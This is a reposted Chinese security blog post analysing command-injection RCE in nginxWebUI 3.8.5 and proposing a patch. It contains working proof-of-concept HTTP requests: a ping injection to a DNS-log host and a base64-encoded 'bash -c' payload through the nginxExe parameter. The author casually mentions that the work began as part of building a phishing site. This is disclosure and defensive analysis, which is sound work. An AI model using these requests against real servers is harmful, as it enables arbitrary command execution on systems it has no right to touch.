Py学习  »  NGINX

记一次nginxWebUI3.8.5版本的RCE分析及修复建议

船山信安 • 1 年前 • 319 次点击  

前言

临时接到通知说要防个网站用作钓鱼,在一系列的阻碍之下,只好自己手搓一套钓鱼框架,第一时间也就想到了nginx,于是乎我就想起来前段时间审计过的nginxWebUI正好方便拿来使用,UI操作就是快。但印象里当时即使是最新版的nginxWebUI后台仍存在RCE,因此重新审计回看这套代码,顺便当一回开发,在不影响业务的前提下如何修复漏洞。

历史漏洞

漏洞分析

其实大概在3.6.2版本之后,nginxWebUI就开始陆续修复/adminPage/conf/runCmd接口的rce,但RCE漏洞仍然存在,在3.6.5之后针对该接口代码就基本没有什么改动了。这里先看一下作者之前的修复方式。
com.cym.controller.adminPage.ConfController#isAvailableCmd承担了防御命令执行的重大使命

  1. 可控的cmd先判断是否符合switch中各项条件,若一致则提前返回true

    private boolean isAvailableCmd(String cmd) {
    // 检查命令格式
    switch (cmd) {
    case "net start nginx":
    case "service nginx start":
    case "systemctl start nginx":
    case "net stop nginx":
    case "service nginx stop":
    case "systemctl stop nginx":
    case "taskkill /f /im nginx.exe":
    case "pkill nginx":
    return true;
    default:
    break;
    }
  2. 前端传入cmd是否与nginx相关命令一致

    if (cmd.equals(settingService.get("nginxExe") + " -s stop" + dir)) {
    return true;
    }
    if (cmd.equals(settingService.get("nginxExe") + " -c " + settingService.get("nginxPath") + dir)) {
    return true;
    }

    这种方式看似将cmd变为不可控变量交给RuntimeUtil.exec函数执行,实际上nginxExe在系统中也是用户可控的,其作用是用户设定nginx路径等相关配置


ToolUtils.handlePath会过滤这些参数中的特殊字符


所以攻击者只需要将nginxExe与cmd设定为特定payload,使上文cmd.equals成立即可。不过即使这样也无法避免的会将" -c " + settingService.get("nginxPath") + dir" -s stop" + dir带入到RuntimeUtil.exec中执行,此时linux中的分隔符也已被过滤,诸如反弹shell之类的大部分命令都无法执行,因此这里对漏洞的修复也算是收敛了攻击面。笔者这里能想到的是只能执行诸如ping这种含有-c或者其他相关命令了,如有错误欢迎指正。

漏洞复现

此处我想满足的是com.cym.controller.adminPage.ConfController#isAvailableCmd的这段条件

if (cmd.equals(settingService.get("nginxExe") + " -c " + settingService.get("nginxPath") + dir)) {
return true;
}

当传入的nginxExe、nginxPath传入如下内容后,cmd则为ping${IFS}jitmszgnmy.dgrh3.cn -c 1

POST http://localhost:8085/adminPage/conf/saveCmd HTTP/1.1
Host: localhost:8085

nginxExe=ping${IFS}jitmszgnmy.dgrh3.cn&nginxPath=1


成功调用cmd执行ping命令

迟迟未修的RCE漏洞

上文中分析到nginxExe可控,代码中还有多处对该参数执行RCE等相关操作。例如:com.cym.controller.adminPage.ConfController#check,跟上文不同,该处RCE可执行任意代码。

漏洞分析

nginxExe可控,当其为空时,则会从settingService.get中获取,且被ToolUtils.handlePath过滤处理


假如不为空,则直接被拼接至cmd中,交由RuntimeUtil.execForStr执行


然而就算到这一步又会碰到一个老问题:命令无法执行


但shell中是可以正常执行的


这里涉及到的是老生常谈的知识点:java命令执行,这里就不再赘述,简单分析下此处的原因:
cn.hutool.core.util.RuntimeUtil#cmdSplit会以空格为分隔符将cmd分割


cmd数组接着会传递至java.lang.ProcessBuilder#start函数,在 该方法中将 cmdarry 第一个参数 cmdarry[0] 当作要执行的命令,把后面的 cmdarry[1:]作为命令执行的参数转换成 byte 数组 argBlock,此时执行语义已经被更改,正常在shell中能够执行的语句也就无法执行了。而在bash和base64的帮助下可以打通这里的RCE。
另外,该接口传入的json参数需要符合特定json类型要求才能成功触发RCE

漏洞复现

功能点在检验文件处,nginx执行命令则为可控的nginxExe参数

POST http://localhost:8085/adminPage/conf/check HTTP/1.1
Host: localhost:8085

nginxPath=&nginxExe=bash+-c+{echo,b3BlbiAvU3lzdGVtL0FwcGxpY2F0aW9ucy9DYWxjdWxhdG9yLmFwcA==}|{base64,-d}|{bash,-i}&nginxDir=&json={"nginxPath":"","nginxContent":"","subContent":[],"subName":[]}

未知攻,焉知防

该接口的RCE至今未修,可能作者也是比较无奈不知该如何修正,因为nginxExe为用户设定nginx文件路径,从功能角度来看该接口是用来执行nginx命令来校验conf文件,传入参数可控+必不可少的需要直接执行命令,除了黑名单似乎没有什么好办法了。
而我这里想到的修复方式是:

  1. 将全局nginxExe都通过ToolUtils.handlePath处理

  2. 验证用户传入参数是否为文件
    既然nginxExe可控,且含义为nginx路径,因此直接可以用isFile函数来判断用户传入参数是否为文件

  3. 验证文件是否为nginx
    这里我的方案是执行nginx -v 操作,通版本号的输出来判断是否为nginx。原本想的是计算hash来进行比对,但nginx毕竟是编译使用的,比对hash并不现实。如果有师傅有其他的good idea欢迎来提!
    添加代码如下:

    try{
    //既然nginxExe可控,且含义为nginx路径,因此直接可以用isFile函数来判断用户传入参数是否为文件
    File file = new File(nginxExe);
    boolean isFile = file.isFile();
    if (!isFile){
    return renderSuccess("not nginx filepath");
    }else {
    //如果是文件,执行-v操作,来判断是否为nginx
    rs = RuntimeUtil.execForStr(nginxExe + " -v");
    if (!rs.contains("nginx version")){
    return renderSuccess("not nginx");
    }
    }
    }catch (Exception e){
    logger.error(e.getMessage(), e);
    rs = e.getMessage().replace("\n", "
    "
    );
    }

    实际效果如下:
    正常进行文件校验:


用户输入恶意代码:


执行其他非nginx文件,实际这里也是通过调用RuntimeUtill执行来验证是否为nginx,假如服务器已经被上传了马子,通过nginxwebui来触发执行马子,那谁也拦不住哈哈,只能说尽可能的收缩攻击利用面,增大漏洞利用难度

总结

nginxWebUI的rce虽然是个老洞,但历时那么久仍未完全修复也是比较令人遗憾的。开发的目的毫无疑问是设计一套方便开发、运维人员管理nginx的ui产品。一键启动固然方便,但从安全角度来看,在配置文件校验、文件启动功能上为了方便用户而造成的任意代码执行,是完全可以避免的。还是那句话,永远不能相信前端用户的输入,假如这套系统做的绝一点,直接添加一键安装编译nginx的功能(前端版本号可控-下载对应文件-解压编译),这样也就一劳永逸了。
至此也算是收敛了RCE利用面,开发没打的补丁,臭安服帮他打~ 这样系统开在公网也心安了一丝丝。



来源:【https://xz.aliyun.com/】,感谢【n*o

由于群已满,各位大佬可以加浪师父的微信,再加群。

Python社区是高质量的Python/Django开发社区
本文地址:http://www.python88.com/topic/167324